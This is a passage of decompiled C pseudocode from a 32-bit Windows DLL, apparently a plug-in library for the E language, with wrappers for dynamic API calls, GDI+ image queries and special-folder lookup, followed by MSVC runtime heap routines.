- DWORD result; // eax
- a1[2] = -2147483646;
- result = sub_10001060(*(LPCSTR *)a3, *(_DWORD *)(a3 + 12), 0);
- *a1 = result;
- return result;
- }
- //----- (10003D90) --------------------------------------------------------
- int __cdecl sub_10003D90(int *a1, int a2, int *a3)
- {
- int result; // eax
- a1[2] = -2147482879;
- result = sub_10001000(*a3);
- *a1 = result;
- return result;
- }
- //----- (10003DB0) --------------------------------------------------------
- int __cdecl sub_10003DB0(int *a1, int a2, int *a3)
- {
- int result; // eax
- a1[2] = -2147483646;
- result = sub_10001020(*a3);
- *a1 = result;
- return result;
- }
- //----- (10003DD0) --------------------------------------------------------
- int __cdecl sub_10003DD0(int *a1, int a2, int *a3)
- {
- int result; // eax
- a1[2] = -2147482879;
- result = sub_10001040(*a3, a3[3], a3[6]);
- *a1 = result;
- return result;
- }
- //----- (10003E00) --------------------------------------------------------
- int __cdecl sub_10003E00(int *a1, int a2, int *a3)
- {
- const CHAR *v3; // eax
- int result; // eax
- v3 = 0;
- if ( a3[5] )
- v3 = (const CHAR *)a3[3];
- a1[2] = -2147482879;
- result = sub_10001E80(*a3, v3);
- *a1 = result;
- return result;
- }
- //----- (10003E30) --------------------------------------------------------
- int __cdecl sub_10003E30(int *a1, int a2, LPCSTR *a3)
- {
- LPCSTR *v3; // esi
- int result; // eax
- int v5; // eax
- const CHAR *v6; // edi
- const CHAR *v7; // [esp-4h] [ebp-10h]
- v3 = a3;
- a1[2] = -2147482879;
- *a1 = 0;
- result = sub_10001E80(65, *a3);
- while ( result )
- {
- v5 = (int)v3[5];
- v3 += 3;
- if ( v5 > -2147483391 )
- {
- if ( v5 > -2147482623 )
- {
- if ( v5 != -2147482367 )
- {
- if ( v5 != -2147482111 )
- goto LABEL_19;
- LABEL_17:
- v6 = v3[1];
- result = sub_10001E80(65, *v3);
- if ( !result )
- return result;
- v7 = v6;
- goto LABEL_12;
- }
- }
- else
- {
- if ( v5 == -2147482623 )
- goto LABEL_17;
- if ( v5 != -2147483135 && v5 != -2147482879 )
- {
- LABEL_19:
- result = sub_10001E80(64, 0);
- *a1 = result;
- return result;
- }
- }
- }
- else if ( v5 != -2147483391 )
- {
- switch ( v5 )
- {
- case -2147483646:
- case -2147483642:
- break;
- case -2147483645:
- goto LABEL_17;
- case -2147483644:
- result = sub_10001E80(67, *v3);
- continue;
- case -2147483643:
- result = sub_10001E80(66, *v3);
- continue;
- default:
- goto LABEL_19;
- }
- }
- v7 = *v3;
- LABEL_12:
- result = sub_10001E80(65, v7);
- }
- return result;
- }
- //----- (10003F00) --------------------------------------------------------
- int __cdecl sub_10003F00(int *a1, int a2, int a3)
- {
- DWORD CurrentProcessId; // eax
- int result; // eax
- CurrentProcessId = *(_DWORD *)a3;
- if ( !*(_DWORD *)a3 )
- CurrentProcessId = GetCurrentProcessId();
- a1[2] = -2147482879;
- result = sub_100026B0(
- CurrentProcessId,
- *(int (__stdcall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, int, int, int, int))(a3 + 12));
- *a1 = result;
- return result;
- }
- //----- (10003F30) --------------------------------------------------------
- int __cdecl sub_10003F30(
- int *a1,
- int a2,
- int (__stdcall **a3)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, int, int, int, int))
- {
- int result; // eax
- a1[2] = -2147482879;
- result = sub_100027E0(*a3);
- *a1 = result;
- return result;
- }
- //----- (10003F50) --------------------------------------------------------
- char *__cdecl sub_10003F50(char **a1, int a2, int a3)
- {
- char *result; // eax
- a1[2] = (char *)-2147483644;
- result = sub_100028B0(*(char **)a3, *(_DWORD *)(a3 + 12));
- *a1 = result;
- return result;
- }
- //----- (10003F80) --------------------------------------------------------
- int __cdecl sub_10003F80(int *a1, int a2, unsigned int *a3)
- {
- int result; // eax
- a1[2] = -2147482879;
- result = sub_10002B20(*a3, a3[3]);
- *a1 = result;
- return result;
- }
- //----- (10003FB0) --------------------------------------------------------
- char *__cdecl sub_10003FB0(char **a1, int a2, int a3)
- {
- char *result; // eax
- a1[2] = (char *)-2147482879;
- result = sub_10002B40(*(char **)a3, *(_DWORD *)(a3 + 12));
- *a1 = result;
- return result;
- }
- //----- (10003FE0) --------------------------------------------------------
- unsigned int __cdecl sub_10003FE0(_DWORD *a1, int a2, int a3)
- {
- unsigned int result; // eax
- void *v4; // ebx
- a1[2] = -2147483646;
- result = *(_DWORD *)(a3 + 24);
- v4 = *(void **)a3;
- qmemcpy(*(void **)a3, *(const void **)(a3 + 12), result);
- *a1 = v4;
- return result;
- }
- //----- (10004010) --------------------------------------------------------
- BOOL __cdecl sub_10004010(BOOL *a1, int a2, HMODULE *a3)
- {
- BOOL result; // eax
- result = FreeLibrary(*a3);
- *a1 = result;
- a1[2] = -2147483646;
- return result;
- }
- //----- (10004030) --------------------------------------------------------
- char __cdecl sub_10004030(_DWORD *a1, int a2, int a3)
- {
- unsigned int v3; // eax
- unsigned int *v4; // edx
- a1[2] = -2147483646;
- *a1 = 1;
- v3 = *(_DWORD *)(a3 + 20);
- v4 = *(unsigned int **)a3;
- if ( v3 > 0x80000201 )
- {
- if ( v3 > 0x80000501 )
- {
- if ( v3 == -2147482111 )
- goto LABEL_15;
- }
- else
- {
- switch ( v3 )
- {
- case 0x80000501:
- *v4 = *(_DWORD *)(a3 + 12);
- return v3;
- case 0x80000301:
- goto LABEL_16;
- case 0x80000401:
- goto LABEL_15;
- }
- }
- LABEL_19:
- *a1 = 0;
- return v3;
- }
- if ( v3 == -2147483135 )
- {
- *(_WORD *)v4 = *(_WORD *)(a3 + 12);
- return v3;
- }
- if ( v3 > 0x80000006 )
- {
- if ( v3 == -2147483391 )
- {
- LOBYTE(v3) = *(_BYTE *)(a3 + 12);
- *(_BYTE *)v4 = v3;
- return v3;
- }
- goto LABEL_19;
- }
- if ( v3 == -2147483642 || v3 == -2147483646 )
- {
- LABEL_16:
- v3 = *(_DWORD *)(a3 + 12);
- *v4 = v3;
- return v3;
- }
- if ( v3 == -2147483645 )
- {
- LABEL_15:
- v3 = *(_DWORD *)(a3 + 12);
- *v4 = v3;
- v4[1] = *(_DWORD *)(a3 + 16);
- return v3;
- }
- *a1 = 0;
- return v3;
- }
- //----- (100040D0) --------------------------------------------------------
- FARPROC __cdecl sub_100040D0(int *a1, int a2, HMODULE hModule)
- {
- int *v3; // ebx
- HMODULE v4; // edi
- HMODULE v5; // ebp
- FARPROC result; // eax
- HMODULE v7; // esi
- int v8; // eax
- HMODULE ModuleHandleA; // eax
- int v10; // eax
- int v11; // esi
- HMODULE v12; // edi
- unsigned int v13; // ebx
- int v14; // eax
- int v15; // edx
- int i; // [esp+10h] [ebp-8h]
- int v17; // [esp+10h] [ebp-8h]
- int (__thiscall *ProcAddress)(int); // [esp+14h] [ebp-4h]
- v3 = a1;
- v4 = hModule;
- a1[2] = -2147482623;
- v5 = 0;
- if ( !*((_DWORD *)hModule + 5) )
- {
- v7 = hModule;
- v8 = 0;
- for ( i = 0; ; v8 = i )
- {
- if ( v8 )
- {
- if ( v8 == 1 )
- {
- ModuleHandleA = GetModuleHandleA(LibFileName);
- }
- else
- {
- if ( v8 != 2 )
- goto LABEL_13;
- ModuleHandleA = GetModuleHandleA(aGdi32Dll);
- }
- }
- else
- {
- ModuleHandleA = GetModuleHandleA(aKernel32Dll_0);
- }
- v7 = ModuleHandleA;
- LABEL_13:
- ProcAddress = (int (__thiscall *)(int))GetProcAddress(v7, *(LPCSTR *)hModule);
- if ( ProcAddress )
- {
- v4 = hModule;
- goto LABEL_17;
- }
- result = (FARPROC)++i;
- if ( i >= 3 )
- goto LABEL_3;
- }
- }
- result = GetProcAddress(*((HMODULE *)hModule + 3), *(LPCSTR *)hModule);
- ProcAddress = (int (__thiscall *)(int))result;
- if ( !result )
- {
- LABEL_3:
- a1[2] = -2147483646;
- *a1 = 0;
- return result;
- }
- LABEL_17:
- if ( *((_DWORD *)v4 + 8) )
- v10 = *((_DWORD *)v4 + 6);
- else
- v10 = 3;
- switch ( v10 )
- {
- case 1:
- a1[2] = -2147483391;
- break;
- case 2:
- a1[2] = -2147483135;
- break;
- case 3:
- a1[2] = -2147482879;
- break;
- case 4:
- a1[2] = -2147482623;
- break;
- case 5:
- a1[2] = -2147482367;
- break;
- case 6:
- a1[2] = -2147482111;
- break;
- case 7:
- a1[2] = -2147483646;
- break;
- case 8:
- a1[2] = -2147483645;
- break;
- case 9:
- a1[2] = -2147483642;
- break;
- case 10:
- a1[2] = -2147483644;
- break;
- default:
- a1[2] = -2147483643;
- break;
- }
- v11 = 3;
- if ( a2 <= 3 )
- goto LABEL_56;
- v12 = v4 + 9;
- while ( 1 )
- {
- v13 = *((_DWORD *)v12 + 2);
- if ( !v13 )
- break;
- if ( !v5 )
- {
- v5 = (HMODULE)sub_10001000(128);
- hModule = v5;
- if ( !v5 )
- {
- result = (FARPROC)a1;
- *a1 = 0;
- a1[1] = 0;
- return result;
- }
- }
- if ( v13 > 0x80000101 )
- {
- if ( v13 > 0x80000401 )
- {
- if ( v13 == -2147482367 )
- {
- *((float *)v5 + v11 - 1) = (float)(__int64)*(float *)v12;
- goto LABEL_53;
- }
- if ( v13 == -2147482111 )
- {
- LABEL_51:
- v17 = (__int64)*(double *)v12;
- ++v11;
- v12 += 3;
- *(double *)(v5 + v11 - 2) = (double)v17;
- goto LABEL_53;
- }
- LABEL_50:
- *((_DWORD *)v5 + v11 - 1) = *(_DWORD *)v12;
- goto LABEL_53;
- }
- if ( v13 == -2147482623 )
- {
- *((_DWORD *)v5 + v11 - 1) = *(_DWORD *)v12;
- v5[v11++] = v12[1];
- v12 += 3;
- goto LABEL_53;
- }
- if ( v13 != -2147483135 && v13 != -2147482879 )
- goto LABEL_50;
- }
- else if ( v13 != -2147483391 )
- {
- switch ( v13 )
- {
- case 0x80000002:
- case 0x80000006:
- goto LABEL_46;
- case 0x80000003:
- goto LABEL_51;
- case 0x80000004:
- *((_DWORD *)v5 + v11 - 1) = *(_DWORD *)v12;
- break;
- case 0x80000005:
- *((_DWORD *)v5 + v11 - 1) = *(_DWORD *)v12;
- break;
- default:
- goto LABEL_50;
- }
- goto LABEL_53;
- }
- LABEL_46:
- *((_DWORD *)v5 + v11 - 1) = *(_DWORD *)v12;
- LABEL_53:
- ++v11;
- v12 += 3;
- if ( v11 >= a2 )
- goto LABEL_54;
- }
- if ( !v5 )
- {
- v5 = (HMODULE)sub_10001000(16);
- hModule = v5;
- }
- LABEL_54:
- if ( v11 > 31 )
- goto LABEL_58;
- v3 = a1;
- LABEL_56:
- *(_DWORD *)v5 = 1;
- *((_DWORD *)v5 + 1) = 4 * v11 - 12;
- *v3 = sub_10001B30(ProcAddress, 0, (int)v5);
- v14 = v3[2];
- v3[1] = v15;
- if ( v14 == -2147483643 )
- *v3 -= 8;
- LABEL_58:
- result = (FARPROC)hModule;
- if ( hModule )
- return (FARPROC)sub_10001020((int)hModule);
- return result;
- }
- // 10004327: variable 'v15' is possibly undefined
- //----- (100043C0) --------------------------------------------------------
- int __cdecl sub_100043C0(int a1)
- {
- int result; // eax
- __debugbreak();
- result = a1;
- *(_DWORD *)(a1 + 8) = 0;
- return result;
- }
- //----- (100043D0) --------------------------------------------------------
- BOOL __cdecl sub_100043D0(CHAR **a1, int a2, int *a3)
- {
- CHAR *v3; // esi
- BOOL result; // eax
- v3 = (CHAR *)sub_10001000(512);
- a1[2] = (CHAR *)-2147483644;
- result = SHGetSpecialFolderPathA(0, v3, *a3, 0);
- *a1 = v3;
- return result;
- }
- //----- (10004410) --------------------------------------------------------
- int **__cdecl sub_10004410(int **a1, int a2, int ***a3)
- {
- _DWORD *v3; // eax
- int *v4; // eax
- int *v5; // ecx
- int **result; // eax
- int *v7; // esi
- v3 = (_DWORD *)sub_10004F6A(8u);
- if ( v3 )
- v4 = sub_10002BF0(v3);
- else
- v4 = 0;
- **a3 = v4;
- v5 = **a3;
- if ( !v5 )
- {
- LABEL_9:
- result = a1;
- *a1 = 0;
- goto LABEL_10;
- }
- if ( !sub_10002C60(v5, (LPCSTR)a3[3]) )
- {
- v7 = **a3;
- if ( v7 )
- {
- sub_10002C20(v7);
- sub_10004F5F(v7);
- }
- goto LABEL_9;
- }
- result = a1;
- *a1 = **a3;
- LABEL_10:
- result[2] = (int *)1;
- return result;
- }
- //----- (100044C0) --------------------------------------------------------
- _DWORD *__cdecl sub_100044C0(_DWORD *a1, int a2, int a3)
- {
- int v3; // ecx
- _DWORD *result; // eax
- v3 = sub_10002D10(
- **(_DWORD ***)a3,
- *(HWND *)(a3 + 12),
- *(_DWORD *)(a3 + 24),
- *(_DWORD *)(a3 + 36),
- *(_DWORD *)(a3 + 48),
- *(_DWORD *)(a3 + 60));
- result = a1;
- a1[2] = -2147483646;
- *a1 = v3 != 0;
- return result;
- }
- //----- (10004500) --------------------------------------------------------
- _DWORD *__cdecl sub_10004500(_DWORD *a1, int a2, int a3)
- {
- _DWORD *result; // eax
- result = sub_10002DF0(**(_DWORD ***)a3, *(_DWORD *)(a3 + 12), *(_DWORD *)(a3 + 24));
- *a1 = result;
- a1[2] = 2;
- return result;
- }
- //----- (10004530) --------------------------------------------------------
- void __cdecl sub_10004530(int a1, int a2, void ***a3)
- {
- void *v3; // esi
- v3 = **a3;
- if ( v3 )
- {
- sub_10002C20(**a3);
- sub_10004F5F(v3);
- }
- }
- //----- (10004550) --------------------------------------------------------
- int __cdecl sub_10004550(int *a1, int a2, int a3)
- {
- _DWORD *v3; // ecx
- int result; // eax
- v3 = **(_DWORD ***)a3;
- a1[2] = -2147483646;
- result = sub_10002EE0(v3, *(_DWORD *)(a3 + 12));
- *a1 = result;
- return result;
- }
- //----- (10004580) --------------------------------------------------------
- BOOL __cdecl sub_10004580(BOOL *a1, int a2, int a3)
- {
- _DWORD *v3; // ecx
- BOOL result; // eax
- v3 = **(_DWORD ***)a3;
- a1[2] = -2147483646;
- result = sub_10002E60(v3, *(LPCCH *)(a3 + 12), *(LPCCH *)(a3 + 24));
- *a1 = result;
- return result;
- }
- //----- (100045B0) --------------------------------------------------------
- void __cdecl sub_100045B0(int a1, int a2, int a3)
- {
- _DWORD *v3; // ecx
- v3 = **(_DWORD ***)a3;
- *(_DWORD *)(a1 + 8) = 0;
- sub_10002CE0(v3, *(_DWORD *)(a3 + 12));
- }
- //----- (100045D0) --------------------------------------------------------
- int __cdecl sub_100045D0(int ***a1, int a2, int **a3)
- {
- int *v3; // ecx
- int v4; // eax
- int v5; // esi
- int result; // eax
- int **v7; // ecx
- v3 = *a3;
- a3 = 0;
- v4 = *v3;
- a1[2] = (int **)-2147482879;
- v5 = *(_DWORD *)(v4 + 4);
- result = GdipGetImageHeight(*(_DWORD *)(v5 + 4), &a3);
- if ( result )
- {
- v7 = a3;
- *(_DWORD *)(v5 + 8) = result;
- *a1 = v7;
- }
- else
- {
- *a1 = a3;
- }
- return result;
- }
- // 10004AF2: using guessed type int __stdcall GdipGetImageHeight(_DWORD, _DWORD);
- //----- (10004620) --------------------------------------------------------
- int __cdecl sub_10004620(int ***a1, int a2, int **a3)
- {
- int *v3; // ecx
- int v4; // eax
- int v5; // esi
- int result; // eax
- int **v7; // ecx
- v3 = *a3;
- a3 = 0;
- v4 = *v3;
- a1[2] = (int **)-2147482879;
- v5 = *(_DWORD *)(v4 + 4);
- result = GdipGetImageWidth(*(_DWORD *)(v5 + 4), &a3);
- if ( result )
- {
- v7 = a3;
- *(_DWORD *)(v5 + 8) = result;
- *a1 = v7;
- }
- else
- {
- *a1 = a3;
- }
- return result;
- }
- // 10004AF8: using guessed type int __stdcall GdipGetImageWidth(_DWORD, _DWORD);
- //----- (10004670) --------------------------------------------------------
- int __cdecl sub_10004670(int ***a1, int a2, int **a3)
- {
- int *v3; // ecx
- int v4; // eax
- int v5; // esi
- int result; // eax
- int **v7; // ecx
- v3 = *a3;
- a3 = 0;
- v4 = *v3;
- a1[2] = (int **)-2147482879;
- v5 = *(_DWORD *)(v4 + 4);
- result = GdipGetImagePaletteSize(*(_DWORD *)(v5 + 4), &a3);
- if ( result )
- {
- v7 = a3;
- *(_DWORD *)(v5 + 8) = result;
- *a1 = v7;
- }
- else
- {
- *a1 = a3;
- }
- return result;
- }
- // 10004B46: using guessed type int __stdcall GdipGetImagePaletteSize(_DWORD, _DWORD);
- //----- (100046C0) --------------------------------------------------------
- _DWORD *__cdecl sub_100046C0(_DWORD *a1, int a2, int **a3)
- {
- int *v3; // edi
- int v4; // ebx
- _DWORD *v5; // esi
- int v6; // ebx
- _DWORD *result; // eax
- v3 = a3[3];
- v4 = **a3;
- v5 = (_DWORD *)sub_10001000((int)(v3 + 2));
- *v5 = 1;
- v5[1] = v3;
- a1[2] = -2147483643;
- v6 = *(_DWORD *)(v4 + 4);
- result = (_DWORD *)GdipGetImagePalette(*(_DWORD *)(v6 + 4), v5 + 2, v3);
- if ( result )
- {
- *(_DWORD *)(v6 + 8) = result;
- sub_10001020((int)v5);
- result = (_DWORD *)sub_10001000(8);
- *result = 1;
- result[1] = 0;
- *a1 = result;
- }
- else
- {
- *a1 = v5;
- }
- return result;
- }
- // 10004B4C: using guessed type int __stdcall GdipGetImagePalette(_DWORD, _DWORD, _DWORD);
- //----- (10004740) --------------------------------------------------------
- int __cdecl sub_10004740(_DWORD *a1, int a2, int **a3)
- {
- int v3; // eax
- int v4; // ecx
- int v5; // esi
- int result; // eax
- v3 = (int)(a3[3] + 2);
- v4 = **a3;
- a1[2] = -2147483646;
- v5 = *(_DWORD *)(v4 + 4);
- result = GdipSetImagePalette(*(_DWORD *)(v5 + 4), v3);
- if ( result )
- {
- *(_DWORD *)(v5 + 8) = result;
- *a1 = 0;
- }
- else
- {
- *a1 = 1;
- }
- return result;
- }
- // 10004B52: using guessed type int __stdcall GdipSetImagePalette(_DWORD, _DWORD);
- //----- (10004790) --------------------------------------------------------
- void __cdecl sub_10004790(_DWORD *a1, int a2, int **a3)
- {
- int v3; // esi
- _BYTE *v4; // ebp
- void *v5; // ebx
- int v6; // esi
- int ImageRawFormat; // eax
- _BYTE *v8; // eax
- _BYTE *v9; // eax
- _BYTE *v10; // eax
- int v11; // [esp+10h] [ebp-4h] BYREF
- const char *v12; // [esp+20h] [ebp+Ch]
- const char *v13; // [esp+20h] [ebp+Ch]
- const char *v14; // [esp+20h] [ebp+Ch]
- const char *v15; // [esp+20h] [ebp+Ch]
- const char *v16; // [esp+20h] [ebp+Ch]
- v3 = **a3;
- v4 = (_BYTE *)sub_10004F6A(0x10u);
- v5 = (void *)sub_10001000(36);
- memset(v5, 0, 0x20u);
- a1[2] = -2147483644;
- v6 = *(_DWORD *)(v3 + 4);
- ImageRawFormat = GdipGetImageRawFormat(*(_DWORD *)(v6 + 4), v4);
- if ( ImageRawFormat )
- {
- *(_DWORD *)(v6 + 8) = ImageRawFormat;
- }
- else
- {
- v8 = (_BYTE *)((int (__cdecl *)(_BYTE *, int))loc_10002B70)(v4, 4);
- v12 = (const char *)sub_10001B70(v8, 4, &v11);
- strcat((char *)v5, v12);
- sub_10001020((int)v12);
- strcat((char *)v5, asc_10011B2C);
- v9 = (_BYTE *)((int (__cdecl *)(_BYTE *, int))loc_10002B70)(v4 + 4, 2);
- v13 = (const char *)sub_10001B70(v9, 2, &v11);
- strcat((char *)v5, v13);
- sub_10001020((int)v13);
- strcat((char *)v5, asc_10011B2C);
- v10 = (_BYTE *)((int (__cdecl *)(_BYTE *, int))loc_10002B70)(v4 + 6, 2);
- v14 = (const char *)sub_10001B70(v10, 2, &v11);
- strcat((char *)v5, v14);
- sub_10001020((int)v14);
- strcat((char *)v5, asc_10011B2C);
- v15 = (const char *)sub_10001B70(v4 + 8, 2, &v11);
- strcat((char *)v5, v15);
- sub_10001020((int)v15);
- strcat((char *)v5, asc_10011B2C);
- v16 = (const char *)sub_10001B70(v4 + 10, 6, &v11);
- strcat((char *)v5, v16);
- sub_10001020((int)v16);
- }
- *a1 = v5;
- sub_10004F5F(v4);
- }
- // 10004B58: using guessed type int __stdcall GdipGetImageRawFormat(_DWORD, _DWORD);
- //----- (10004A20) --------------------------------------------------------
- int __cdecl sub_10004A20(int *a1, int a2, int a3)
- {
- int result; // eax
- int v4; // [esp-8h] [ebp-Ch]
- int v5; // [esp-4h] [ebp-8h]
- v5 = *(_DWORD *)(*(_DWORD *)a3 + 4);
- v4 = *(_DWORD *)a3 + 8;
- a1[2] = -2147483643;
- result = ((int (__cdecl *)(int, int))loc_10002B70)(v4, v5);
- *a1 = result;
- return result;
- }
- //----- (10004A50) --------------------------------------------------------
- CHAR *__cdecl sub_10004A50(CHAR **a1, int a2, int a3)
- {
- void *v3; // ecx
- CHAR *result; // eax
- int v5; // [esp-8h] [ebp-Ch]
- const CHAR *v6; // [esp-4h] [ebp-8h]
- v3 = **(void ***)a3;
- v6 = *(const CHAR **)(a3 + 24);
- v5 = *(_DWORD *)(a3 + 12);
- a1[2] = (CHAR *)2;
- result = sub_10002F10(v3, v5, v6);
- *a1 = result;
- return result;
- }
- //----- (10004A80) --------------------------------------------------------
- int __stdcall sub_10004A80(int a1, int (__stdcall *a2)(_DWORD, _DWORD, _DWORD), int a3)
- {
- int result; // eax
- result = 0;
- if ( a1 != 1 )
- return -1;
- dword_10014934 = a2;
- return result;
- }
- // 10014934: using guessed type int (__stdcall *dword_10014934)(_DWORD, _DWORD, _DWORD);
- //----- (10004AA0) --------------------------------------------------------
- void *GetNewInf()
- {
- return &unk_1000F0E8;
- }
- //----- (10004C8F) --------------------------------------------------------
- void __cdecl sub_10004C8F(LPVOID lpMem)
- {
- _DWORD *block; // eax
- bool v2; // zf
- _BYTE *v3; // eax
- void **v4; // [esp+Ch] [ebp-28h] BYREF
- _BYTE *v5; // [esp+10h] [ebp-24h]
- int v6; // [esp+14h] [ebp-20h] BYREF
- _DWORD *v7; // [esp+18h] [ebp-1Ch]
- CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h]
- if ( lpMem )
- {
- if ( dword_10015034 == 3 )
- {
- _lock(9);
- ms_exc.registration.TryLevel = 0;
- block = (_DWORD *)__sbh_find_block(lpMem);
- v7 = block;
- if ( block )
- sub_100057E4(block, (int)lpMem);
- ms_exc.registration.TryLevel = -1;
- _unlock(9);
- v2 = v7 == 0;
- }
- else
- {
- if ( dword_10015034 != 2 )
- {
- LABEL_11:
- HeapFree(hHeap, 0, lpMem);
- return;
- }
- _lock(9);
- ms_exc.registration.TryLevel = 1;
- v3 = (_BYTE *)sub_1000621E((unsigned int)lpMem, &v4, (unsigned int *)&v6);
- v5 = v3;
- if ( v3 )
- sub_10006275((int)v4, v6, v3);
- ms_exc.registration.TryLevel = -1;
- _unlock(9);
- v2 = v5 == 0;
- }
- if ( !v2 )
- return;
- goto LABEL_11;
- }
- }
- // 100057B9: using guessed type _DWORD __cdecl __sbh_find_block(_DWORD);
- // 1000667B: using guessed type _DWORD __cdecl _lock(_DWORD);
- // 100066DC: using guessed type _DWORD __cdecl _unlock(_DWORD);
- // 10015034: using guessed type int dword_10015034;
- //----- (10004DEB) --------------------------------------------------------
- LPVOID __cdecl sub_10004DEB(unsigned int a1)
- {
- LPVOID result; // eax
- unsigned int v2; // esi
- int v3; // eax
- SIZE_T v4; // eax
- void *v5; // [esp+Ch] [ebp-1Ch]
- int v6; // [esp+Ch] [ebp-1Ch]
- if ( dword_10015034 == 3 )
- {
- if ( a1 <= dword_1001502C )
- {
- _lock(9);
- v5 = (void *)__sbh_alloc_block(a1);
- _unlock(9);
- result = v5;
- if ( v5 )
- return result;
- }
- goto LABEL_12;
- }
- if ( dword_10015034 != 2 )
- {
- LABEL_12:
- v3 = a1;
- if ( !a1 )
- v3 = 1;
- v4 = v3 + 15;
- LOBYTE(v4) = v4 & 0xF0;
- return HeapAlloc(hHeap, 0, v4);
- }
- if ( a1 )
- v2 = (a1 + 15) & 0xFFFFFFF0;
- else
- v2 = 16;
- if ( v2 > dword_10013B84 )
- return HeapAlloc(hHeap, 0, v2);
- _lock(9);
- v6 = sub_100062BA(v2 >> 4);
- _unlock(9);
- result = (LPVOID)v6;
- if ( !v6 )
- return HeapAlloc(hHeap, 0, v2);
- return result;
- }
- // 10005B0D: using guessed type _DWORD __cdecl __sbh_alloc_block(_DWORD);
- // 1000667B: using guessed type _DWORD __cdecl _lock(_DWORD);
- // 100066DC: using guessed type _DWORD __cdecl _unlock(_DWORD);
- // 10013B84: using guessed type int dword_10013B84;
- // 1001502C: using guessed type int dword_1001502C;
- // 10015034: using guessed type int dword_10015034;
- //----- (10004F5F) --------------------------------------------------------
- void __cdecl sub_10004F5F(LPVOID lpMem)
- {
- sub_10004C8F(lpMem);
- }
- //----- (10004F6A) --------------------------------------------------------
- int __cdecl sub_10004F6A(size_t Size)
- {
- return _nh_malloc(Size, 1);
- }
- //----- (100054F7) --------------------------------------------------------
- char __cdecl sub_100054F7(int a1)
- {
- HMODULE ModuleHandleA; // eax
- int v2; // ecx
- *(_DWORD *)a1 = 0;
- ModuleHandleA = GetModuleHandleA(0);
- if ( *(_WORD *)ModuleHandleA == 23117 )
- {
- v2 = *((_DWORD *)ModuleHandleA + 15);
- if ( v2 )
- {
- ModuleHandleA = (HMODULE)((char *)ModuleHandleA + v2);
- *(_BYTE *)a1 = *((_BYTE *)ModuleHandleA + 26);
- LOBYTE(ModuleHandleA) = *((_BYTE *)ModuleHandleA + 27);
- *(_BYTE *)(a1 + 1) = (_BYTE)ModuleHandleA;
- }
- }
- return (char)ModuleHandleA;
- }
- //----- (10005524) --------------------------------------------------------
- int sub_10005524()
- {
- int result; // eax
- CHAR *i; // ecx
- char v2; // al
- CHAR *v3; // eax
- CHAR *j; // ecx
- char v5; // al
- char *v6; // eax
- const char *v7; // eax
- const char *v8; // ecx
- CHAR Buffer[4240]; // [esp+4h] [ebp-122Ch] BYREF
- CHAR Filename[260]; // [esp+1094h] [ebp-19Ch] BYREF
- struct _OSVERSIONINFOA VersionInformation; // [esp+1198h] [ebp-98h] BYREF
- char v12[4]; // [esp+122Ch] [ebp-4h] BYREF
- VersionInformation.dwOSVersionInfoSize = 148;
- if ( GetVersionExA(&VersionInformation)
- && VersionInformation.dwPlatformId == 2
- && VersionInformation.dwMajorVersion >= 5 )
- {
- return 1;
- }
- if ( !GetEnvironmentVariableA("__MSVCRT_HEAP_SELECT", Buffer, 0x1090u) )
- goto LABEL_29;
- for ( i = Buffer; *i; ++i )
- {
- v2 = *i;
- if ( *i >= 97 && v2 <= 122 )
- *i = v2 - 32;
- }
- if ( !strncmp("__GLOBAL_HEAP_SELECTED", Buffer, 0x16u) )
- {
- v3 = Buffer;
- }
- else
- {
- GetModuleFileNameA(0, Filename, 0x104u);
- for ( j = Filename; *j; ++j )
- {
- v5 = *j;
- if ( *j >= 97 && v5 <= 122 )
- *j = v5 - 32;
- }
- v3 = strstr(Buffer, Filename);
- }
- if ( !v3 )
- goto LABEL_29;
- v6 = strchr(v3, 44);
- if ( !v6 )
- goto LABEL_29;
- v7 = v6 + 1;
- v8 = v7;
- while ( *v8 )
- {
- if ( *v8 == 59 )
- *v8 = 0;
- else
- ++v8;
- }
- result = strtol(v7, 0, 10);
- if ( result != 2 && result != 3 && result != 1 )
- {
- LABEL_29:
- sub_100054F7((int)v12);
- return 3 - (v12[0] < 6u);
- }
- return result;
- }
- // 10005524: using guessed type char var_4[4];
- //----- (1000566C) --------------------------------------------------------
- int __cdecl sub_1000566C(int a1)
- {
- int v1; // eax
- void **v2; // eax
- hHeap = HeapCreate(a1 == 0, 0x1000u, 0);
- if ( !hHeap )
- return 0;
- v1 = sub_10005524();
- dword_10015034 = v1;
- if ( v1 == 3 )
- {
- v2 = (void **)__sbh_heap_init(1016);
- }
- else
- {
- if ( v1 != 2 )
- return 1;
- v2 = sub_10005FC2();
- }
- if ( !v2 )
- {
- HeapDestroy(hHeap);
- return 0;
- }
- return 1;
- }
- // 10005771: using guessed type _DWORD __cdecl __sbh_heap_init(_DWORD);
- // 10015034: using guessed type int dword_10015034;
- //----- (100056C9) --------------------------------------------------------
- BOOL sub_100056C9()
- {
- int v0; // ebx
- LPVOID *v1; // esi
- void **v2; // esi
- void *v3; // eax
- if ( dword_10015034 == 3 )
- {
- v0 = 0;
- if ( dword_10015024 > 0 )
- {
- v1 = (LPVOID *)((char *)lpMem + 12);
- do
- {
- VirtualFree(*v1, 0x100000u, 0x4000u);
- VirtualFree(*v1, 0, 0x8000u);
- HeapFree(hHeap, 0, v1[1]);
- v1 += 5;
- ++v0;
- }
- while ( v0 < dword_10015024 );
- }
- HeapFree(hHeap, 0, lpMem);
- }
- else if ( dword_10015034 == 2 )
- {
- v2 = &off_10011B60;
- do
- {
- v3 = v2[4];
- if ( v3 )
- VirtualFree(v3, 0, 0x8000u);
- v2 = (void **)*v2;
- }
- while ( v2 != &off_10011B60 );
- }
- return HeapDestroy(hHeap);
- }
- // 10011B60: using guessed type void *off_10011B60;
- // 10015024: using guessed type int dword_10015024;
- // 10015034: using guessed type int dword_10015034;
- //----- (100057E4) --------------------------------------------------------
- _DWORD *__cdecl sub_100057E4(_DWORD *a1, int a2)
- {
- _DWORD *result; // eax
- int *v3; // esi
- unsigned int v4; // edi
- int v5; // ecx
- char *v6; // ebx
- unsigned int v7; // edx
- _BYTE *v8; // ecx
- unsigned int v9; // ebx
- bool v10; // zf
- _BYTE *v11; // ecx
- unsigned int v12; // ebx
- unsigned int v13; // edx
- unsigned int v14; // ebx
- unsigned int v15; // esi
- unsigned int v16; // esi
- _DWORD *v17; // ecx
- LPVOID *v18; // eax
- _DWORD *v19; // [esp+Ch] [ebp-10h]
- int v20; // [esp+10h] [ebp-Ch]
- int v21; // [esp+14h] [ebp-8h]
- int v22; // [esp+18h] [ebp-4h]
